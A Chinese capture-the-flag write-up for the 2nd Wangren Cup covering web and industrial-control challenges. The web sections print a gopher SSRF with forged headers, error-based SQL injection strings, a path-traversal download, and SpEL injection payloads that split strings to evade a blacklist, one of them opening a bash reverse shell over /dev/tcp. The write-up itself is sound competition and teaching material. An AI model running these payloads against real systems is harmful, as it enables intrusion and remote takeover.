第二届网刃杯部分wp

第二届网刃杯部分wp,第1张

WEB Sign_in

题目描述:炒鸡简单的签到题,玩的开心~~~~ 题目链接见附件,每个链接均可访问,环境5分钟重启一次。

file协议访问/etc/hosts,发现内网ip

扫描c段,发现127.73.23.100存活,需要GET传参一个a

http://124.222.24.150:8091/?url=172.73.23.100

传a提示需要POST传b,这里的b,是指在172.73.23.100中传b,而当前host是:124.222.24.150,所以这里用到了gopher协议的POST传参

构造POST语句(至少要有这几条)

POST /?a=1 HTTP/1.1
Host:172.73.23.100
Content-Type: application/x-www-form-urlencoded
Content-Length: 3

b=2

进行url编码一次,然后把%0A换成%0D%0A,在进行url编码

POST%2520/?a=1%2520HTTP/1.1%250D%250AHost:172.73.23.100%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%25203%250D%250A%250D%250Ab=2

gopher协议传参后,提示必须127.0.0.1

加上X-Forwarded-For:127.0.0.1,在进行url编码—>替换—>url编码

POST%2520/?a=1%2520HTTP/1.1%250D%250AHost:172.73.23.100%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%25203%250D%250AX-FORWARDED-FOR:%2520127.0.0.1%250D%250A%250D%250Ab=2

传参后提示从bolean.club访问

加个Referer:bolean.club

POST /?a=1 HTTP/1.1
Host:172.73.23.100
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
X-FORWARDED-FOR: 127.0.0.1
Referer:bolean.club

b=2

在进行url编码—>替换—>url编码

POST%2520/?a=1%2520HTTP/1.1%250D%250AHost:172.73.23.100%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%25203%250D%250AX-FORWARDED-FOR:%2520127.0.0.1%250D%250AReferer:bolean.club%250D%250A%250D%250Ab=2

传参得到flag

当时其实这些都考虑到了,但不知道少了哪里在POST传参时,一直没传进去真是可惜~

Upload

题目描述:只有想不到,没有做不到,sql yyds。题目链接见附件,每个链接均可访问,环境5分钟重启一次。

上传后提示除非是type型是ctf才能上传

但ctf类型根本不会解析,所以考虑到了hint中的sql,吧filename改成1'后报错

尝试报错注入

1' and extractvalue(null,concat(0x7e,(select database()),0x7e))#

这里发现语句错误,用#注释掉后边的单引号后,发现还把括号给注释掉了,所以导致语句错误,这里可以在#前在加个括号,或者用`and '方式闭合

1' and extractvalue(null,concat(0x7e,(select database()),0x7e)))#
或
1' and extractvalue(null,concat(0x7e,(select database()),0x7e)) and '

直接盲猜flag表flag字段

1' and extractvalue(null,concat(0x7e,(select flag from flag),0x7e)))#

得到flag前半段

substr截取后32位

1' and extractvalue(null,concat(0x7e,substr((select flag from flag),28,60),0x7e)))#

第一次见这种方式的sql注入、考点并不难,但思路真的太重要了!!!!

ez_java

可以下载源码,下载web.xml找到 TestServlet.class 文件,路径是 test388 /download?filename=../../../classes/com/abc/servlet/TestServlet.class下载源文件

可以用在线反编译工具进行反编译JAVA反向工程网 (javare.cn)

package com.abc.servlet;

import java.io.IOException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.expression.Expression;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;

public class TestServlet extends HttpServlet {

   protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
      this.doPost(req, resp);
   }

   protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
      try {
         String e = request.getParameter("name");
         e = new String(e.getBytes("ISO8859-1"), "UTF-8");
         if(this.blackMatch(e)) {
            request.setAttribute("message", "name is invalid");
            request.getRequestDispatcher("/message.jsp").forward(request, response);
            return;
         }

         System.out.println(e);
         String message = this.getAdvanceValue(e);
         request.setAttribute("message", message);
         request.getRequestDispatcher("/message.jsp").forward(request, response);
      } catch (Exception var5) {
         request.setAttribute("message", "error");
         request.getRequestDispatcher("/message.jsp").forward(request, response);
      }

   }

   private boolean blackMatch(String val) {
      String[] var2 = this.getBlacklist();
      int var3 = var2.length;

      for(int var4 = 0; var4 < var3; ++var4) {
         String keyword = var2[var4];
         Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
         if(matcher.find()) {
            return true;
         }
      }

      return false;
   }

   private String getAdvanceValue(String val) {
      TemplateParserContext parserContext = new TemplateParserContext();
      SpelExpressionParser parser = new SpelExpressionParser();
      Expression exp = parser.parseExpression(val, parserContext);
      StandardEvaluationContext evaluationContext = new StandardEvaluationContext();
      return exp.getValue(evaluationContext).toString();
   }

   private String[] getBlacklist() {
      return new String[]{"java.+lang", "Runtime", "exec.*\("};
   }
}

很明显SPEL注入,但导入到IDEA后发现没有servlet、和expression包,所以先配置一下

tomcat.apache.org,下载tomcat包

https://repo.spring.io/,下载org.springframework.spring下的包

IDEA中,File->Project Structrue->Libraries中将tomcat\lib\servlet-api.jar和`spring\libs\导入即可

导入后进行审计,doGet,doPost,对GET或POST传参进行处理,这里参数name在Post中,所以要进行Post传参调用doPost方法,但doGet方法同样也会调用doPost,所以本题无论GET、POST传参都可

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        try {
            String name = request.getParameter("name");
            name = new String(name.getBytes("ISO8859-1"), "UTF-8");
            if (this.blackMatch(name)) {
                request.setAttribute("message", "name is invalid");
                request.getRequestDispatcher("/message.jsp").forward(request, response);
                return;
            }

blackMatch方法中会调用getBlacklist方法,进行黑名单检测(java.lang、Runtime、exec)

private boolean blackMatch(String val) {
    String[] var2 = this.getBlacklist();
    int var3 = var2.length;

    for(int var4 = 0; var4 < var3; ++var4) {
        String keyword = var2[var4];
        Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
        if (matcher.find()) {
            return true;
        }
    }

    return false;
}

private String[] getBlacklist() {
        return new String[]{"java.+lang", "Runtime", "exec.*\("};
    }

最后就是SPEL注入的利用点了可参考

private String getAdvanceValue(String val) {
    ParserContext parserContext = new TemplateParserContext();
    SpelExpressionParser parser = new SpelExpressionParser();
    Expression exp = parser.parseExpression(val, parserContext);
    StandardEvaluationContext evaluationContext = new StandardEvaluationContext();
    return exp.getValue(evaluationContext).toString();
}

构造payload本地测试

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})}

EXP

package WangRenBei;

import org.springframework.expression.Expression;
import org.springframework.expression.ParserContext;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;

import java.io.UnsupportedEncodingException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class TestServlet1 {
    public static void  main(String[] args) throws UnsupportedEncodingException {
        String name="#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"cmd\",\"/C\",\"calc\"})}\n";
        name = new String(name.getBytes("ISO8859-1"), "UTF-8");
        if (blackMatch(name)) {
            System.out.println("failed");
        }
        System.out.println(name);
        String message =getAdvanceValue(name);
    }
    public static boolean blackMatch(String val) {
        String[] var2 = getBlacklist();
        int var3 = var2.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            String keyword = var2[var4];
            Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
            if (matcher.find()) {
                return true;
            }
        }

        return false;
    }

    public static String getAdvanceValue(String val) {
        ParserContext parserContext = new TemplateParserContext();
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(val, parserContext);
        StandardEvaluationContext evaluationContext = new StandardEvaluationContext();
        return exp.getValue(evaluationContext).toString();
    }

    public static String[] getBlacklist() {
        return new String[]{"java.+lang", "Runtime", "exec.*\("};
    }
}

成功执行calc

构造本题反dshell的payload

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","bash -i>&/dev/tcp/xxx.xxx.xxx.xxx/4000 0>&1"})}

url编码后传参

成功反dshell

自从学java后,第一次做ctf的java题,虽然当时第一步都没做出来,但经过复现后还是有不少收获的。

ICS easyiec

签到题

追踪TCP流,直接看到flag

carefulguy

题目描述:电厂工程而Bob正在对将电磁词的工程写入PLC,传输时受到黑客攻击被迫停止,重白后才恢复运作,黑客的攻击导致工程师的数据丢失了一些,实时监测设备抓到些流量包,你能从流量包中找出遗失的数据吗?

tcp流中出现十六进制66,对应字符为f,猜测此处即为flag位置

继续看下边的流为6c、67、7b、70,解码后为flag{,最后逐个提取十六进制flag{p4us315v3ry1nt3restic9}

移动的黑客

题目描述:Monkey是一家汽修厂的老板,日常喜欢改装车,但由于发动机的转速有上限,发动机最多能接受10000转分钟的转速,Monkey在最新一次对发动机转速进行测试时发生了故障,机械师阿张排查时测试期间,有一些异常的流星,请根据阿张捕获的流星包分析发动机的转速达到了多少转才出现的故障,flag为flag{data+包号}

打开流量包后,显示流量包损坏,010打开后发现文件头有误

前四位改为0A 0D 0D 0A后,便能正常打开,提示转速大于10000(十六进制为2710),所以直接搜索modbus数据包,找大于2710的数据

在68156处找到了大于2710的数据

2766的十进制为10086,所以最终的flag:flag{1008668156}

xyp07

题目描述:电气公司的师傅九爷今日收了他的第七个徒弟,取名做小七,九爷生来喜欢7这个数字,于是决定重点培养小七,于是便给小七出了一道测试题,初入行业的小七显得不知所措,你能帮助他解决这个问题么?

打开压缩包发现base64编码,解密后得到压缩包密码Xyp77&7&77

打开流量包后在tcp流中发现敏感信息iPE=e>we,9:={]RnBjf<7_8Cw1b,解密后得到flagBaseCrack - Decode All Bases

ncsubj

题目描述:wowowow,某厂商上位机TIA PORTIAL软件受到了hacker勒索软件的加密攻击,不过好在我们的监测系统捕获了攻击者非法 *** 作的流量,具体的解密需要你自己去慢慢发现哟,flag格式为flag{}

tcp流中有三段base64编码


解密后得到j|u|n|g|n|a|p|f|h|o|w|r|p|g|,rot13解密得到flag:flag{whatancsubject}

LED_BOOM

题目描述:攻击者DOM在打入核电站内网后,成功拿到一台上位机,并进行了非法 *** 作,我们的监测组发现核电站内的LED灯间断的闪烁了三下,你跟根据监测组留下的线索,成功破案攻击者的行为吗,提交形式为ftag tips:.听说闪烁三次的行为对应三个返回包,将他们的包号排列组合会得到你要的结果。

压缩包中有个图片,一段AES加密密文

先过滤s7comm协议的包,根据提示有三个响应包,找到长度为123的正好有三个响应包,并且数据中均有LED on和LED off的字段

所以AES秘钥就是585692787
在线AES加密 | AES解密 - 在线工具 (sojson.com)解密得到flag

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/langs/759231.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-01
下一篇 2022-05-01

发表评论

登录后才能评论

评论列表(0条)

保存